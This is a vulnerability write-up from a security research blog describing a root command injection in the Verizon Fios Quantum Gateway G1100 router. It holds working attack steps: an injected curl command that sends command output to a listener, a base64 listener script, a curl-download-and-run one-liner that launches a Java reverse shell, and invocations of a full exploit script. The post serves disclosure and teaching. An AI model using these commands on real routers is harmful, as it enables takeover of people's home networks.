Verizon Fios Router Authenticated Command Injection

Chris Lyne
Apr 9, 2019 · 7 min read

Rooting the Verizon Fios Quantum Gateway

FiOS G1100

Ever seen one of these? It’s the Verizon Fios Quantum Gateway (G1100). If you’re a Fios residential customer, you probably wouldn’t have Wi-Fi without it.

I poked around in the Fios router’s administrative web interface, and I discovered a few vulnerabilities:

  1. Authenticated command injection (with root privileges)
  2. Login replay
  3. Password salt disclosure

If a successful attack was mounted, the attacker would have complete control of your network.

To keep things relatively brief, I’m only going to discuss the command injection. From a technical perspective, I think it’s the most interesting, and it gets you root on the router. If you’re intrigued by the other bugs, take a look our Tenable Research Advisory. Additionally, for details related to customer impact, check out the Tenable blog.

Casually Finding a Bug

The application allows you to configure whether SSH access is allowed or not. To satisfy my curiosity, I enabled it and logged in.

Enabled SSH on Router

There really wasn’t much that could be done inside the shell because it was BusyBox. If you’re not familiar with BusyBox, it “combines tiny versions of many common UNIX utilities into a single small executable.” In this case, not many utilities were provided. Notice the mere 26 utilities available when I pressed the tab key after logging in.

BusyBox

After perusing the file system a bit, the most interesting thing I found was a directory containing log files.

Log File Listing

I stumbled upon this entry in the “user” log file:

bhr4: Firewall.AccessControlRulesLog: Failed to delete rules: iptables -A AC_B_13_NWOBJ_1 -s tenable -j AC_B_13_SERVICES

Notice the “iptables” command being issued. Clearly, I must have entered “tenable” in here at some point. That got me thinking… I wonder if I can inject an OS command into this. Clearly, this has to do with Access Control rules in the Firewall settings. I investigated the web interface to see if I could find “tenable” anywhere.

Sure enough, “tenable” was entered as the host name for a firewall rule. Specifically, a “network object” (see Advanced tab) was created and subsequently specified in the access control rule.

Firewall Access Control Rules

Next, I fired up “tcpdump” and injected the command “ping -c 1 192.168.1.191” to hopefully ping my machine once. Tcpdump displayed a successful ping.

$ sudo tcpdump -ni en0 “icmp”
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on en0, link-type EN10MB (Ethernet), capture size 262144 bytes
13:22:24.788350 IP 192.168.1.1 > 192.168.1.191: ICMP echo request, id 49484, seq 0, length 64

Side Note: I did encounter some client-side input validation. However, client-side validation can be easily bypassed with the Burp Suite proxy.

Input Validation Encountered

Now that we have command execution…the next step is to get an interactive shell.

Getting a Shell

Viewing Command Output

Here is the Python (2.7) listener code:

1 from http.server import HTTPServer, BaseHTTPRequestHandler
2 from base64 import decodestring
3
4 PORT_NUMBER = 8080
5
6 class MyHTTPD(BaseHTTPRequestHandler):
7 def do_GET(self):
8 self.send_response(200)
9 data = self.path.replace('/', '') # remove leading slash
10 decoded = decodestring(data)
11 print "Received : '" + decoded + "'"
12 msg = 'ok'
13 self.end_headers()
14 self.wfile.write(str.encode(msg))
15
16 httpd = HTTPServer(('', PORT_NUMBER), MyHTTPD)
17
18 print('Serving...')
19 httpd.serve_forever()

I could send a payload like this to determine which user we have command execution as:

`curl http://192.168.1.191:8080/$(whoami|base64)`

My HTTP listener output revealed that the user is root:

$ python base64_listener.py 
Serving…
192.168.1.1 — — [14/Dec/2018 14:00:54] “GET /cm9vdAo= HTTP/1.1” 200 -
Received : ‘root

With this method of executing OS commands and capturing the output, the next step is to enumerate the system to determine how we will get a shell using what we’ve got. Sadly, a bash reverse shell one-liner didn’t work out.

There is a JVM

  • It’s a Linux OS with an ARMv71 architecture
  • Many of the mounted file systems were read-only. However, /mnt/config was writable.

After enumerating the system for clues on how to best get a shell, and thanks to Jake, I discovered an embedded JVM. Check out the output of the “ps” command:

1767 root 47464 S < /usr/local/jvm/bin/siege -Xss200k -Xms30M -Xmx30M -Dceej.net.ssl.norootcerts -Dceej.net.ssl.disable.buffer (truncated)

Does that look like a JVM to you? I had never heard of “siege”, but a quick invocation revealed it definitely runs Java code:

usage: /usr/local/jvm/bin/siege [-options] class [arguments] or
usage: /usr/local/jvm/bin/siege -jar [-options] jarfile [arguments]

At this point, the strategy was clear. My goal was to upload a Java reverse shell and execute it.

In order to execute a Java reverse shell, the first step is to simply upload and execute a Java class. I accomplished this by programming the HTTP listener to return a Base64-encoded, compiled Java class in the response body. Additionally, the Java code was compiled for the target JVM (Java SE 1.8).

Java Reverse Shell

`cd /mnt/config && curl http://192.168.1.191:8080/ -o sh_b64 && base64 -d sh_b64 > ReverseTcpShell.class && /usr/local/jvm/bin/siege ReverseTcpShell 192.168.1.191 4444 &`

Let’s break it down:

  1. cd /mnt/config
  • First the working directory is changed to the writable /mnt/config directory.

2. curl http://192.168.1.191:8080/ -o sh_b64

  • Next curl is used to download the Base64 encoded Java reverse shell class. It is saved as a file named “sh_b64". Remember, the listener returns this

3. base64 -d sh_b64 > ReverseTcpShell.class

  • The “sh_b64" file is Base64 decoded and written as “ReverseTcpShell.class”.

4. /usr/local/jvm/bin/siege ReverseTcpShell 192.168.1.191 4444 &

  • Finally, the ReverseTcpShell class is launched using the “siege” embedded JVM. This will connect back to the Netcat listener at IP 192.168.1.191 listening on TCP port 4444. This process is backgrounded (&).

Here is the reverse TCP shell Java code if you’re interested.

Full Exploit

Below is an example invocation of the exploit with the hash:

$ hash=5e619e19824b1072f89ff309e3896b1b6dd31aebfab1698b2662d97352d9da9fbdbf7c165239a2214bdf9ae512821e78875a1b515bd4140ec919dda201f1001e
$ python verizon_g1100_cmd_injection.py -t 192.168.1.1 -hash $hash -ip 192.168.1.191 -ship 192.168.1.191

Or the password can be supplied:

$ python verizon_g1100_cmd_injection.py -t 192.168.1.1 -pw password123 -ip 192.168.1.191 -ship 192.168.1.191

Here is a video of the exploit in action. A reverse shell connection is established with root privileges.

PoC Video

Final Thoughts

Tenable TechBlog

Learn how Tenable finds new vulnerabilities and writes the…

Chris Lyne

Written by

Chris is a security researcher at Tenable, focused on finding 0-day vulnerabilities. He is a former developer and aims to make the cyber world more secure.

Tenable TechBlog

Learn how Tenable finds new vulnerabilities and writes the software to help you find them

Chris Lyne

Written by

Chris is a security researcher at Tenable, focused on finding 0-day vulnerabilities. He is a former developer and aims to make the cyber world more secure.

Tenable TechBlog

Learn how Tenable finds new vulnerabilities and writes the software to help you find them

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store